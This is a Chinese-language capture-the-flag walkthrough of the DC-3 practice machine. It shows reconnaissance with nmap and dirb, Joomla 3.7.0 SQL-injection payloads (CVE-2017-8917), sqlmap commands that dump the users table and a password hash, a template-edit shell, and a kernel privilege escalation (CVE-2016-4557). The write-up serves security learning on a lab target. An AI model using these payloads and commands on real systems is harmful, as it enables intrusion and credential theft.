DC-3
DC-3
配置
载入虚拟机时遇到此问题:IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。
在虚拟机设置中把IDE改成0:0

信息收集
nmap -T4 -A -p 1-65535 192.168.211.135

看来只开了一个80端口,web端渗透了。
dirb扫下目录
dirb http://192.168.211.135

扫到一个后台

joomla,直接干了
joomla渗透
sql注入
开启msf,搜索joomla的poc
auxiliary/scanner/http/joomla_version

先探测版本
Joomla version: 3.7.0
直接找一个适应此版本的漏洞
CVE-2017-8917

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

爆库名:
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

表名不知道为什么一直报错,直接上sqlmap了
sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆表名
sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

爆列名
sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

爆字段
sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C username,password --dump -p list[fullordering]

获取密码哈希值
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
丢到John the Ripper解密

解出admin账户密码为snoopy
代码写入

发现模板下可以直接添加代码,弹个shell


成功弹shell
提权
文件传输
利用python在kali上建一个http服务
python -m SimpleHTTPServer 1337

之后的提权脚本直接
wget 当前目录内的文件即可
CVE-2017-16995
先搜集一波信息


搜索漏洞,发现一个CVE-2017-16995

不是1,确实存在此漏洞

提权不成功,换个思路
CVE-2016-4557
searchsploit Ubuntu 16.04

下载poc后,将exploit.tar传到靶机中
./compile.sh 编译
./doublept 运行

提权成功

总结
- sql注入
- CVE-2016-4557提权

浙公网安备 33010602011771号